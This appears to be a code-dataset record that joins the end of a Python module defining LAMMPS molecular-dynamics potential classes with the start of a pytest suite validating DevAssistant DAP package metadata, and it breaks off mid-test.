0. def __str__(self): return "" class Class2(object): """Potential defined as E = Ea + Ebb + Eba Ea = K2*(theta - theta0)^2 + K3*(theta - theta0)^3 + K4*(theta - theta0)^4 Ebb = M*(r_ij - r1)*(r_jk - r2) Eba = N1*(r_ij - r1)*(theta - theta0) + N2*(rjk - r2)*(theta - theta0) Input parameters for each potential: Angle: theta0 (degrees), K2(energy/rad^2), K3(energy/rad^3),K4(energy/rad^4) BondBond: bb, M(energy/distance^2), r1(distance), r2(distance) BondAngle: ba, N1(energy/distance^2), N2(energy/distance^2),r1(distance), r2(distance) """ # Ebb and Eba are in BondBond and BondAngle classes respectively class BondBond(object): """Potential defined as ----> Ebb = M*(r_ij - r1)*(r_jk - r2) <---- """ def __init__(self): self.name = "class2" self.M = 0. self.r1 = 0. self.r2 = 0. self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f"%(self.M, self.r1, self.r2) return "%s %15.6f %15.6f %15.6f"%(self.name, self.M, self.r1, self.r2) class BondAngle(object): """Potential defined as ----> Eba = N1*(r_ij - r1)*(theta - theta0) + N2*(r_jk - r2)*(theta - theta0) <---- """ def __init__(self): self.name = "class2" self.N1 = 0. self.N2 = 0. self.r1 = 0. self.r2 = 0. self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f %15.6f"%(self.N1, self.N2, self.r1, self.r2) return "%s %15.6f %15.6f %15.6f %15.6f"%(self.name, self.N1, self.N2, self.r1, self.r2) def __init__(self): self.name = "class2" self.theta0 = 0. self.K2 = 0. self.K3 = 0. self.K4 = 0. self.bb = self.BondBond() self.ba = self.BondAngle() self.reduced=False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f %15.6f"%(self.theta0, self.K2, self.K3, self.K4) return "%28s %15.6f %15.6f %15.6f %15.6f"%(self.name, self.theta0, self.K2, self.K3, self.K4) class Cosine(object): """Potential defined as E = K*[1 - cos(theta)] Input parameters: K """ def __init__(self): self.name = "cosine" # cosine/omp exists self.K = 0. self.reduced = False def __str__(self): if self.reduced: return "%15.6f"%(self.K) return "%28s %15.6f"%(self.name, self.K) class CosineDelta(object): """Potential defined as E = K*[1 - cos(theta-theta0)] Input parameters: K, theta0 """ def __init__(self): self.name = "cosine/delta" # cosine/delta/omp exists self.K = 0. self.theta0 = 0. def __str__(self): return "" class CosinePeriodic(object): """Potential defined as E = C*[1 - B*(-1)^n*cos(n*theta)] Input parameters: C, B, n """ def __init__(self): self.name = "cosine/periodic" # cosine/periodic/omp exists self.C = 0. self.B = 0 self.n = 0 self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15i %15i"%(self.C/2., self.B, self.n) return "%28s %15.6f %15i %15i"%(self.name, self.C/2., self.B, self.n) class CosineSquared(object): """Potential defined as E = K*[cos(theta) - cos(theta0)]^2 Input parameters: K, theta0 """ def __init__(self): self.name = "cosine/squared" # cosine/squared/omp exists self.K = 0. self.theta0 = 0. self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15.6f"%(self.K, self.theta0) return "%28s %15.6f %15.6f"%(self.name, self.K, self.theta0) class Harmonic(object): """Potential defined as E = K*(theta - theta0)^2 Input parameters: K, theta0 special_flag is used to distinguish any extra inputs required for LAMMPS to run properly. eg. special_flag="shake" will flag this angle potential as a shake angle. """ def __init__(self): self.name = "harmonic" # harmonic/kk and harmonic/omp exist self.K = 0. self.theta0 = 0. self.reduced = False self.special_flag = "" def __str__(self): special_flag = self.special_flag if special_flag: special_flag = "# "+self.special_flag if self.reduced: return "%15.6f %15.6f %s"%(self.K, self.theta0, special_flag) return "%28s %15.6f %15.6f %s"%(self.name, self.K,self.theta0, special_flag) class Table(object): def __init__(self): raise NotImplementedError ("Have not implemented the table funtion for lammps yet.") class CosineShift(object): """Potential defined as E = -Umin/2 * [1 + cos(theta - theta0)] Input parameters: Umin, theta0 """ def __init__(self): self.name = "cosine/shift" # cosine/shift/omp exists self.Umin = 0. self.theta0 = 0. def __str__(self): return "" class CosineShiftExp(object): """Potential defined as E = -Umin * [e^{-a*U(theta,theta0)} - 1] / [e^a - 1] where U(theta,theta0) = -0.5*(1 + cos(theta - theta0)) Input parameters: Umin, theta0, a """ def __init__(self): self.name = "cosine/shift/exp" # cosine/shift/exp/omp exists self.Umin = 0. self.theta0 = 0. self.a = 0. def __str__(self): return "" class Dipole(object): """Potential defined as E = K*(cos(gamma) - cos(gamma0))^2 Input parameters: K, gamma0 """ def __init__(self): self.name = "dipole" # dipole/omp exists self.K = 0. self.gamma0 = 0. def __str__(self): return "" class Fourier(object): """Potential defined as E = K*[C0 + C1*cos(theta) + C2*cos(2*theta)] Input parameters: K, C0, C1, C2 """ def __init__(self): self.name = "fourier" # fourier/omp exists self.K = 0. self.C0 = 0. self.C1 = 0. self.C2 = 0. self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f %15.6f"%(self.K, self.C0, self.C1, self.C2) return "%28s %15.6f %15.6f %15.6f %15.6f"%(self.name, self.K, self.C0, self.C1, self.C2) class FourierSimple(object): """Potential defined as E = K*[1 + c*cos(n*theta)] Input parameters: K, c, n """ def __init__(self): self.name = "fourier/simple" # fourier/simple/omp exists self.K = 0. self.c = 0. self.n = 0. self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f"%(self.K, self.c, self.n) return "%28s %15.6f %15.6f %15.6f"%(self.name, self.K, self.c, self.n) class Quartic(object): """Potential defined as E = K2*(theta - theta0)^2 + K3*(theta - theta0)^3 + K4(theta - theta0)^4 Input parameters: theta0, K2, K3, K4 """ def __init__(self): self.name = "quartic" # quartic/omp exists self.theta0 = 0. self.K2 = 0. self.K3 = 0. self.K4 = 0. def __str__(self): return "" class Sdk(object): """Potential defined as E = K*(theta - theta0)^2 Input parameters: K, theta0 """ def __init__(self): self.name = "sdk" self.K = 0. self.theta0 = 0. def __str__(self): return "" class DihedralPotential(object): """ Class to hold dihedral styles that are implemented in lammps """ class Charmm(object): """Potential defined as E = K*[1 + cos(n*phi - d)] Input parameters: K, n, d, w (weighting for 1 - 4 non-bonded interactions) """ def __init__(self): self.name = "charmm" # charm/kk and charmm/omp exist self.K = 0. self.n = 0 self.d = 0 self.w = 0. # should be kept at 0 for charmm force fields self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15i %15i %15.6f"%(self.K, self.n, self.d, self.w) return "%28s %15.6f %15i %15i %15.6f"%(self.name, self.K, self.n, self.d, self.w) class Class2(object): """ Potential deined as E = Ed + Embt + Eebt + Eat + Eaat + Ebb13 Ed = K1*[1 - cos(phi - phi1)] + K2*[1 - cos(2*phi - phi2)] + K3*[1 - cos(3*phi - phi3)] Embt = (r_jk - r2)*[A1*cos(phi) + A2*cos(2phi) + A3*cos(3phi)] Eebt = (r_ij - r1)*[B1*cos(phi) + B2*cos(2phi) + B3*cos(3phi)] + (r_kl - r3)*[C1*cos(phi) + C2*cos(2phi) + C3*cos(3phi)] Eat = (theta_ijk - theta1)*[D1*cos(phi) + D2*cos(2*phi) + D3*cos(3*phi)] + (theta_jkl - theta2)*[E1*cos(phi) + E2*cos(2*phi) + E3*cos(3phi)] Eaa = M*(theta_ijk - theta1)*(theta_jkl - theta2)*cos(phi) Ebb13 = N*(r_ij-r1)*(r_kl-r3) """ class MiddleBondTorsion(object): """ Embt = (r_jk - r2)*[A1*cos(phi) + A2*cos(2phi) + A3*cos(3phi)] """ def __init__(self): self.name = "mbt" self.A1 = 0. self.A2 = 0. self.A3 = 0. self.r2 = 0. self.reduced=False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f %15.6f"%(self.A1, self.A2, self.A3, self.r2) return "%s %15.6f %15.6f %15.6f %15.6f"%(self.name, self.A1, self.A2, self.A3, self.r2) class EndBondTorsion(object): """ Eebt = (r_ij - r1)*[B1*cos(phi) + B2*cos(2phi) + B3*cos(3phi)] + (r_kl - r3)*[C1*cos(phi) + C2*cos(2phi) + C3*cos(3phi)] """ def __init__(self): self.name = "ebt" self.B1 = 0. self.B2 = 0. self.B3 = 0. self.C1 = 0. self.C2 = 0. self.C3 = 0. self.r1 = 0. self.r3 = 0. self.reduced=False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f"%(self.B1, self.B2, self.B3, self.C1, self.C2, self.C3, self.r1, self.r3) return "%s %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f"%(self.name, self.B1, self.B2, self.B3, self.C1, self.C2, self.C3, self.r1, self.r3) class AngleTorsion(object): """ Eat = (theta_ijk - theta1)*[D1*cos(phi) + D2*cos(2*phi) + D3*cos(3*phi)] + (theta_jkl - theta2)*[E1*cos(phi) + E2*cos(2*phi) + E3*cos(3phi)] """ def __init__(self): self.name = "at" self.D1 = 0. self.D2 = 0. self.D3 = 0. self.E1 = 0. self.E2 = 0. self.E3 = 0. self.theta1 = 0. self.theta2 = 0. self.reduced=False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f"%(self.D1, self.D2, self.D3, self.E1, self.E2, self.E3, self.theta1, self.theta2) return "%s %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f"%(self.name, self.D1, self.D2, self.D3, self.E1, self.E2, self.E3, self.theta1, self.theta2) class AngleAngleTorsion(object): """ Eaa = M*(theta_ijk - theta1)*(theta_jkl - theta2)*cos(phi) """ def __init__(self): self.name = "aat" self.M = 0. self.theta1 = 0. self.theta2 = 0. self.reduced=False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f"%(self.M, self.theta1, self.theta2) return "%s %15.6f %15.6f %15.6f"%(self.name, self.M, self.theta1, self.theta2) class BondBond13(object): """ Ebb13 = N*(r_ij-r1)*(r_kl-r3) """ def __init__(self): self.name = "bb13" self.N = 0. self.r1 = 0. self.r3 = 0. self.reduced=False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f"%(self.N, self.r1, self.r3) return "%s %15.6f %15.6f %15.6f"%(self.name, self.N, self.r1, self.r3) def __init__(self): self.name = "class2" self.K1 = 0. self.phi1= 0. self.K2 = 0. self.phi2= 0. self.K3 = 0. self.phi3= 0. self.mbt = self.MiddleBondTorsion() self.ebt = self.EndBondTorsion() self.at = self.AngleTorsion() self.aat = self.AngleAngleTorsion() self.bb13 = self.BondBond13() self.reduced=False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f %15.6f %15.6f %15.6f"%(self.K1, self.phi1, self.K2, self.phi2, self.K3, self.phi3) return "%s %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f"%(self.name, self.K1, self.phi1, self.K2, self.phi2, self.K3, self.phi3) class Harmonic(object): """Potential defined as E = K*[1 + d*cos(n*phi)] Input parameters: K, d, n """ def __init__(self): self.name = "harmonic" # harmonic/omp exists self.K = 0. self.d = 0 self.n = 0 self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15i %15i"%(self.K, self.d, self.n) return "%28s %15.6f %15i %15i"%(self.name, self.K, self.d, self.n) class Helix(object): """Potential defined as E = A*[1 - cos(theta)] + B*[1 + cos(3*theta)] + C*[1 + cos(theta + pi/4)] Input parameters: A, B, C """ def __init__(self): self.name = "helix" # helix/omp exists self.A = 0. self.B = 0. self.C = 0. def __str__(self): return "" class MultiHarmonic(object): """Potential defined as E = sum_n=1,5{ An*cos^(n-1)(theta)} Input parameters: A1, A2, A3, A4, A5 """ def __init__(self): self.name = "multi/harmonic" # multi/harmonic/omp exists self.A1 = 0. self.A2 = 0. self.A3 = 0. self.A4 = 0. self.A5 = 0. def __str__(self): return "" class Opls(object): """Potential defined as E = 0.5*K1*[1 + cos(theta)] + 0.5*K2*[1 - cos(2*theta)] + 0.5*K3*[1 + cos(3*theta)] + 0.5*K4*[1 - cos(4*theta)] Input parameters: K1, K2, K3, K4 """ def __init__(self): self.name = "opls" # opls/kk and opls/omp exist self.K1 = 0. self.K2 = 0. self.K3 = 0. self.K4 = 0. def __str__(self): return "" class CosineShiftExp(object): """Potential defined as E = -Umin*[e^{-a*U(theta,theta0)} - 1] / (e^a -1) where U(theta, theta0) = -0.5*(1 + cos(theta-theta0)) Input parameters: Umin, theta0, a """ def __init__(self): self.name = "cosine/shift/exp" # cosine/shift/exp/omp exists self.Umin = 0. self.theta0 = 0. self.a = 0. def __str__(self): return "" class Fourier(object): """Potential defined as E = sum_i=1,m { Ki*[1.0 + cos(ni*theta - di)] } Input parameters: m, Ki, ni, di NB m is an integer dictating how many terms to sum, there should be 3*m + 1 total parameters. """ def __init__(self): self.name = "fourier" # fourier/omp exists self.m = 0 self.Ki = [] self.ni = [] self.di = [] self.reduced = False def __str__(self): self.m=len(self.Ki) vstr = "%5d"%self.m for k,n,d in zip(self.Ki,self.ni,self.di): vstr+="%15.6f %5d %5d"%(k,n,d) if self.reduced: return vstr return "%28s %s"%(self.name,vstr) class nHarmonic(object): """Potential defined as E = sum_i=1,n { Ai*cos^{i-1}(theta) Input parameters: n, Ai NB n is an integer dictating how many terms to sum, there should be n + 1 total parameters. """ def __init__(self): self.name = "nharmonic" # nharmonic/omp exists self.n = 0 self.Ai = [] def __str__(self): return "" class Quadratic(object): """Potential defined as E = K*(theta - theta0)^2 Input parameters: K, phi0 """ def __init__(self): self.name = "quadratic" # quadratic/omp exists self.K = 0. self.phi0 = 0. self.redueced = False def __str__(self): return "" class Table(object): """Potential read from file.""" def __init__(self): raise NotImplementedError ("Have not implemented the table funtion for lammps yet.") class ImproperPotential(object): """ Class to hold improper styles that are implemented in lammps """ class Class2(object): """Potential defined as E = Ei + Eaa Ei = K*[(chi_ijkl + chi_kjli + chi_ljik)/3 - chi0]^2 Eaa = M1*(theta_ijk - theta1)*(theta_kjl - theta3) + M2*(theta_ijk - theta1)*(theta_ijl - theta2) + M3*(theta_ijl - theta2)*(theta_kjl - theta3) Input parameters: K, chi0 """ class AngleAngle(object): """Potential defined as Eaa = M1*(theta_ijk - theta1)*(theta_kjl - theta3) + M2*(theta_ijk - theta1)*(theta_ijl - theta2) + M3*(theta_ijl - theta2)*(theta_kjl - theta3) Input parameters: M1 M2 M3 theta1 theta2 theta3 """ def __init__(self): self.name = "class2" self.M1 = 0. self.M2 = 0. self.M3 = 0. self.theta1 = 0. self.theta2 = 0. self.theta3 = 0. self.reduced=False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f %15.6f %15.6f %15.6f"%(self.M1, self.M2, self.M3, self.theta1, self.theta2, self.theta3) return "%s %15.6f %15.6f %15.6f %15.6f %15.6f %15.6f"%(self.name, self.M1, self.M2, self.M3, self.theta1, self.theta2, self.theta3) def __init__(self): self.name = "class2" self.K = 0. self.chi0 = 0. self.reduced=False self.aa = self.AngleAngle() def __str__(self): if self.reduced: return "%15.6f %15.6f"%(self.K, self.chi0) return "%s %15.6f %15.6f"%(self.name, self.K, self.chi0) class Cvff(object): """Potential defined as E = K*[1 + d*cos(n*theta)] Input parameters: K, d, n """ def __init__(self): self.name = "cvff" # cvff/omp exists self.K = 0. self.d = 0 self.n = 0 self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15i %15i "%(self.K, self.d, self.n) return "%28s %15.6f %15i %15i"%(self.name, self.K, self.d, self.n) class Harmonic(object): """Potential defined as E = K*(chi - chi0)^2 Input parameters: K, chi0 """ def __init__(self): self.name = "harmonic" # harmonic/kk and harmonic/omp exist self.K = 0. self.chi0 = 0. self.reduced=False def __str__(self): if self.reduced: return "%15.6f %15.6f "%(self.K, self.chi0) return "%28s %15.6f %15.6f"%(self.name,self.K, self.chi0) class Umbrella(object): """Potential defined as E = 0.5*K*[1 + cos(omega0)/sin(omega0)]^2 * [cos(omega) - cos(omega0)] if omega0 .ne. 0 (deg) E = K*[1 - cos(omega)] if omega0 = 0 (deg) Input parameters: K, omega0 """ def __init__(self): self.name = "umbrella" # umbrella/omp exists self.K = 0. self.omega0 = 0. self.reduced = True # Is this correct ?? def __str__(self): if self.reduced: return "%15.6f %15.6f "%(self.K, self.omega0) return "%28s %15.6f %15.6f"%(self.name, self.K, self.omega0) class Cossq(object): """Potential defined as E = 0.5*K*cos^2(chi - chi0) Input parameters: K, chi0 """ def __init__(self): self.name = "cossq" # cossq/omp exists self.K = 0. self.chi0 = 0. def __str__(self): return "" class Fourier(object): """Potential defined as E = K*[C0 + C1*cos(omega) + C2*cos(2*omega)] Input parameters: K, C0, C1, C2, a the parameter a allows all three angles to be taken into account in an improper dihedral. It is not clear in the lammps manual what to set this to to turn it off/on, but the usual assumptions are 0/1. """ def __init__(self): self.name = "fourier" # fourier/omp exists self.K = 0. self.C0 = 0. self.C1 = 0. self.C2 = 0. self.a = 0 self.reduced = False def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f %15.6f %15i"%(self.K, self.C0, self.C1, self.C2, self.a) return "%28s %15.6f %15.6f %15.6f %15.6f %15i"%(self.name, self.K, self.C0, self.C1, self.C2, self.a) class Ring(object): """Potential defined as E = 1/6*K*(delta_ijl + delta_ijk + delta_kjl)^6 where delta_ijl = cos(theta_ijl) - cos(theta0) Input parameters: K, theta0 """ def __init__(self): self.name = "ring" # ring/omp exists self.K = 0. self.theta0 = 0. def __str__(self): return "" class PairPotential(object): """ Class to hold Pair styles that are implemented in lammps NB: list here is HUGE, update as needed.. """ class Table(object): """A tabulated potential is used LAMMPS keyword arguments are passes as kwargs """ def __init__(self): self.name = "table" self.style = None self.N = 0 self.keyword = "" self.filename = "" self.entry = "" self.cutoff = 0.0 self.reduced = False def __str__(self): str = "" if self.reduced: return "%s %s %.2f"%(self.filename, self.entry, self.cutoff) return "%28s %s %s %.2f"%(self.name, self.filename, self.entry, self.cutoff) def __repr__(self): return "%s %s %i %s"%(self.name, self.style, self.N, self.keyword) class LjCutTip4pLong(object): """Potential defined as E = 4*eps*[(sig/r)^12 - (sig/r)^6] r < rc and coulombic terms dealt with a kspace solver TIP4P water implicit charge points are included in ewald sum. """ def __init__(self): self.name = "lj/cut/tip4p/long" self.eps = 0. self.sig = 0. self.reduced = False self.cutoff = 0. self.otype = 0 self.htype = 0 self.btype = 0 self.atype = 0 self.qdist = 0. def __str__(self): if self.reduced: return "%15.6f %15.6f"%(self.eps, self.sig) return "%28s %15.6f %15.6f"%(self.name, self.eps, self.sig) def __repr__(self): return "%s %i %i %i %i %.4f %.3f"%(self.name, self.otype, self.htype, self.btype, self.atype, self.qdist, self.cutoff) class LjCutCoulLong(object): """Potential defined as E = 4*eps*[(sig/r)^12 - (sig/r)^6] r < rc and coulombic terms dealt with a kspace solver """ def __init__(self): self.name = "lj/cut/coul/long" self.eps = 0. self.sig = 0. self.reduced = False self.cutoff = 0. def __str__(self): if self.reduced: return "%15.6f %15.6f"%(self.eps, self.sig) return "%28s %15.6f %15.6f"%(self.name, self.eps, self.sig) def __repr__(self): return "%s %.3f"%(self.name, self.cutoff) class LjCut(object): """Potential defined as E = 4*eps*[(sig/r)^12 - (sig/r)^6] r < rc """ def __init__(self): self.name = "lj/cut" self.eps = 0. self.sig = 0. self.reduced = False self.cutoff = 0. def __str__(self): if self.reduced: return "%15.6f %15.6f"%(self.eps, self.sig) return "%28s %15.6f %15.6f"%(self.name, self.eps, self.sig) def __repr__(self): return "%s %.3f"%(self.name, self.cutoff) class LjCharmmCoulLong(object): """Potential defined as E = 4*eps*[(sig/r)^12 - (sig/r)^6] r < rc and coulombic terms dealt with a kspace solver """ def __init__(self): self.name = "lj/charmm/coul/long" self.eps = 0. self.eps14 = 0. self.sig = 0. self.sig14 = 0. self.reduced = False self.cutoff = 0. def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f %15.6f"%(self.eps, self.sig, self.eps14, self.sig14) return "%28s %15.6f %15.6f %15.6f %15.6f"%(self.name, self.eps, self.sig, self.eps14, self.sig14) def __repr__(self): # typical to set the inner cutoff difference of about 1 angstrom return "%s %.3f %.3f"%(self.name, self.cutoff - 1.0, self.cutoff) class Buck(object): """Potential defined as E = A*exp{-r/rho} - C/r^{6} """ def __init__(self): self.name = "buck" self.sig = 0.0 self.eps = 0.0 self.A = 0.0 self.rho = 0.0 self.C = 0.0 self.reduced = False self.cutoff = 0. def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f"%(self.A, self.rho, self.C) return "%28s %15.6f %15.6f %15.6f"%(self.name, self.A, self.rho, self.C) def __repr__(self): return "%s %.3f"%(self.name, self.cutoff) class BuckCoulLong(object): """Potential defined as E = A*exp{-r/rho} - C/r^{6} """ def __init__(self): self.name = "buck/coul/long" self.sig = 0.0 self.eps = 0.0 self.A = 0.0 self.rho = 0.0 self.C = 0.0 self.reduced = False self.cutoff = 0. def __str__(self): if self.reduced: return "%15.6f %15.6f %15.6f"%(self.A, self.rho, self.C) return "%28s %15.6f %15.6f %15.6f"%(self.name, self.A, self.rho, self.C) def __repr__(self): return "%s %.3f"%(self.name, self.cutoff) class HbondDreidingMorse(object): """Potential defined as E = D0*[exp{-2*alpha*(r-R0)} - 2*exp{-alpha*(r-R0)}]*cos^n(theta) """ def __init__(self): self.name = "hbond/dreiding/morse" self.htype = 0 self.donor = 'i' self.D0 = 0.0 self.alpha = 0.0 self.R0 = 0.0 self.n = 0 self.Rin = 0.0 self.Rout = 0.0 self.a_cut = 0.0 self.reduced = False def __str__(self): if self.reduced: return "%i %s %15.6f %15.6f %15.6f %15i %15.6f %15.6f %15.6f"%( self.htype, self.donor, self.D0, self.alpha, self.R0, self.n, self.Rin, self.Rout, self.a_cut) return "%28s %i %s %15.6f %15.6f %15.6f %15i %15.6f %15.6f %15.6f"%( self.name, self.htype, self.donor, self.D0, self.alpha, self.R0, self.n, self.Rin, self.Rout, self.a_cut) def __repr__(self): return "%s %i %.3f %.3f %.3f"%(self.name, self.n, self.Rin, self.Rout, self.a_cut)
mit
techtonik/devassistant
test/dapi/test_dap.py
6
27722
# -*- coding: utf-8 -*- import pytest import sys import os import logging import itertools import glob import subprocess from flexmock import flexmock try: from cStringIO import StringIO except: try: from StringIO import StringIO except: from io import StringIO from devassistant.dapi import * from test import fixtures_dir from devassistant import utils def dap_path(fixture): '''Return appropriate dap path''' return os.path.join(fixtures_dir, 'dapi', 'daps', fixture) def l(level = logging.WARNING, output = sys.stderr): '''Gets the logger''' logger = logging.getLogger('daptest') handler = logging.StreamHandler(output) logger.addHandler(handler) logger.setLevel(level) return logger def combinations(pool): '''Prepare all various combinations of given list''' ret = [] # the min() is there, because we don't need all the combinations, just lot of them for r in range(1, min(len(pool), 2) + 1): ret += itertools.combinations(pool, r) return ret class TestDap(object): '''Tests for the Dap class''' def test_no_gz(self): '''Not-gzip archive should raise DapFileError''' with pytest.raises(DapFileError): Dap(dap_path('bz2.dap')) def test_no_exist(self): '''Nonexisting file should raise DapFileError''' with pytest.raises(DapFileError): Dap('foo') def test_no_meta(self): '''Dap without meta.yaml should raise DapMetaError''' with pytest.raises(DapMetaError): Dap(dap_path('no_meta.dap')) def test_dap_data(self): '''Dap should have correct content in meta, basename and files''' dap = Dap(dap_path('meta_only/foo-1.0.0.dap')) assert dap.meta['package_name'] == 'foo' assert dap.meta['version'] == '1.0.0' assert u'Hrončok' in dap.meta['authors'][0] assert dap.basename == 'foo-1.0.0.dap' assert dap.files == ['foo-1.0.0', 'foo-1.0.0/meta.yaml'] def test_no_toplevel(self): '''Dap with no top-level directory is invalid''' out = StringIO() dap = Dap(dap_path('no_toplevel/foo-1.0.0.dap')) assert not DapChecker.check(dap, logger=l(output=out, level=logging.ERROR)) assert len(out.getvalue().rstrip().split('\n')) == 1 assert 'not in top-level directory' in out.getvalue() @pytest.mark.parametrize('name', ['foo', 'f', 'bar', 'v8', 'foo-bar-foo', 'ffff8ff', 'f-_--s']) def test_valid_names(self, name): '''Test if valid names are valid''' d = Dap('', fake=True) d.meta['package_name'] = name d._find_bad_meta() assert d._isvalid('package_name') @pytest.mark.parametrize('name', ['9', '8f', '-a', '-', 'a_', '_', 'ř', 'H', 'aaHa', '?', 'aa!a', '()', '*', 'ff+a', 'f8--', '.']) def test_invalid_names(self, name): '''Test if invalid names are invalid''' d = Dap('', fake=True) d.meta['package_name'] = name d._find_bad_meta() assert not d._isvalid('package_name') @pytest.mark.parametrize('version', ['0', '1', '888', '0.1', '0.1a', '0.0.0b', '666dev', '0.0.0.0.0', '8.11']) def test_valid_versions(self, version): '''Test if valid versions are valid''' d = Dap('', fake=True) d.meta['version'] = version d._find_bad_meta() assert d._isvalid('version') @pytest.mark.parametrize('version', ['00', '01', '0.00.0', '01.0', '1c', '.1', '1-2', 'h', 'č', '.', '1..0', '1.0.']) def test_invalid_versions(self, version): '''Test if invalid versions are invalid''' d = Dap('', fake=True) d.meta['version'] = version d._find_bad_meta() assert not d._isvalid('version') def test_loading_float_version(self): '''Test that loading doesn't fail if version is loaded from YAML as float''' out = StringIO() dap = Dap(dap_path('meta_only/bad_version-0.1.dap')) assert DapChecker.check(dap, logger=l(output=out, level=logging.ERROR)) @pytest.mark.parametrize('url', ['http://g.com/aa?ff=g&g#f', 'ftp://g.aa/', 'http://user:[email protected]', 'https://f.f.f.f.f.sk/cgi-bin/?f=Program%20Files']) def test_valid_urls(self, url): '''Test if valid URLs are valid''' d = Dap('', fake=True) d.meta['homepage'] = url d._find_bad_meta() assert d._isvalid('homepage') @pytest.mark.parametrize('url', ['g.com/a', 'mailto:[email protected]', 'ftp://192.168.1.1/?a', 'https://localhost/']) def test_invalid_urls(self, url): '''Test if invalid URLs are invalid''' d = Dap('', fake=True) d.meta['homepage'] = url d._find_bad_meta() assert not d._isvalid('homepage') @pytest.mark.parametrize('bug', ['http://g.com/', '[email protected]', '[email protected]', 'par_at_no.id', '[email protected]']) def test_valid_bugreports(self, bug): '''Test if valid URLs or e-mails are valid''' d = Dap('', fake=True) d.meta['bugreports'] = bug d._find_bad_meta() assert d._isvalid('bugreports') @pytest.mark.parametrize('bug', ['httpr://g.com/', 'miro@[email protected]', '?ouchdevassiatnt.org', 'par_at_no.iduss', '@o.id']) def test_invalid_bugreports(self, bug): '''Test if invalid URLs or e-mails are invalid''' d = Dap('', fake=True) d.meta['bugreports'] = bug d._find_bad_meta() assert not d._isvalid('bugreports') def test_valid_summary(self): '''Test if valid summary is valid''' d = Dap('', fake=True) d.meta['summary'] = 'foo' d._find_bad_meta() assert d._isvalid('summary') def test_invalid_summary(self): '''Test if invalid summary is invalid''' d = Dap('', fake=True) d.meta['summary'] = 'foo\nbar' d._find_bad_meta() assert not d._isvalid('summary') @pytest.mark.parametrize('item', ['package_name', 'version', 'license', 'authors', 'summary']) def test_empty_required(self, item): '''Required metadata should fail when undefined''' d = Dap('', fake=True) assert not d._isvalid(item) @pytest.mark.parametrize('license', ['AGPLv3 with exceptions', 'GPL+ or Artistic', 'LGPLv2+ and LGPLv2 and LGPLv3+ and (GPLv3 or ' 'LGPLv2) and (GPLv3+ or LGPLv2) and (CC-BY-SA ' 'or LGPLv2+) and (CC-BY-SA or LGPLv2) and CC-BY ' 'and BSD and MIT and Public Domain']) def test_valid_licenses(self, license): '''Test if valid licenses are valid''' d = Dap('', fake=True) d.meta['license'] = license d._find_bad_meta() assert d._isvalid('license') @pytest.mark.parametrize('license', ['Redistributable', 'GPLv4', 'LGPLv2+ and (LGPLv2', 'GNU GPL']) def test_invalid_licenses(self, license): '''Test if invalid licenses are invalid''' d = Dap('', fake=True) d.meta['license'] = license d._find_bad_meta() assert not d._isvalid('license') @pytest.mark.parametrize('authors', combinations([u'Miro Hrončok <[email protected]>', u'Miro Hrončok <miro_at_hroncok.cz>', u'Miro Hrončok', u'Dr. Voštěp', u'Никола I Петровић-Његош'])) def test_valid_authors(self, authors): '''Test if valid authors are valid''' d = Dap('', fake=True) d.meta['authors'] = list(authors) d._find_bad_meta() ok, bads = d._arevalid('authors') assert ok assert not bads @pytest.mark.parametrize('authors', combinations([u'Miro Hrončok ', ' ', u' Miro Hrončok', u'Miro Hrončok [email protected]', u'Miro Hrončok <miro@[email protected]>', ''])) def test_invalid_authors(self, authors): '''Test if invalid authors are invalid''' d = Dap('', fake=True) d.meta['authors'] = list(authors) d._find_bad_meta() ok, bads = d._arevalid('authors') assert not ok assert bads == list(authors) def test_invalid_authors_bads(self): '''Test if on invalid authors are reported as invalid''' d = Dap('', fake=True) d.meta['authors'] = ['OK2 <[email protected]>', ' ', ' ', 'OK <[email protected]>'] d._find_bad_meta() ok, bads = d._arevalid('authors') assert sorted(bads) == [' ', ' '] def test_duplicate_authors(self): '''Test if duplicate valid authors are invalid''' d = Dap('', fake=True) d.meta['authors'] = ['A', 'B', 'A'] d._find_bad_meta() ok, bads = d._arevalid('authors') assert not ok assert bads == ['A'] def test_empty_authors(self): '''Test if empty authors list is invalid''' d = Dap('', fake=True) d.meta['authors'] = [] d._find_bad_meta() ok, null = d._arevalid('authors') assert not ok @pytest.mark.parametrize('deps', combinations(['foo', 'foo == 1.0.0', 'foo >= 1.0.0', 'foo <= 1.0.0', 'foo > 1.0.0', 'foo < 1.0.0', 'foo <1.0.0', 'foo<1.0.0', 'foo< 1.0.0', 'foo < 1.0.0', 'foo <1.0.0', 'foo < 1.0.0b'])) def test_valid_dependencies(self, deps): '''Test if valid dependencies are valid''' d = Dap('', fake=True) d.meta['dependencies'] = list(deps) d._find_bad_meta() ok, bads = d._arevalid('dependencies') assert ok assert not bads @pytest.mark.parametrize('deps', combinations(['foo != 1.0.0', 'foo = 1.0.0', 'foo =< 1.0.0', 'foo >> 1.0.0', 'foo > = 1.0.0', '1.0.0', 'foo-1.0.0', ' ', ''])) def test_invalid_dependencies(self, deps): '''Test if invalid dependencies are invalid''' d = Dap('', fake=True) d.meta['dependencies'] = list(deps) d._find_bad_meta() ok, bads = d._arevalid('dependencies') assert not ok assert bads == list(deps) def test_invalid_dependencies_bads(self): '''Test if 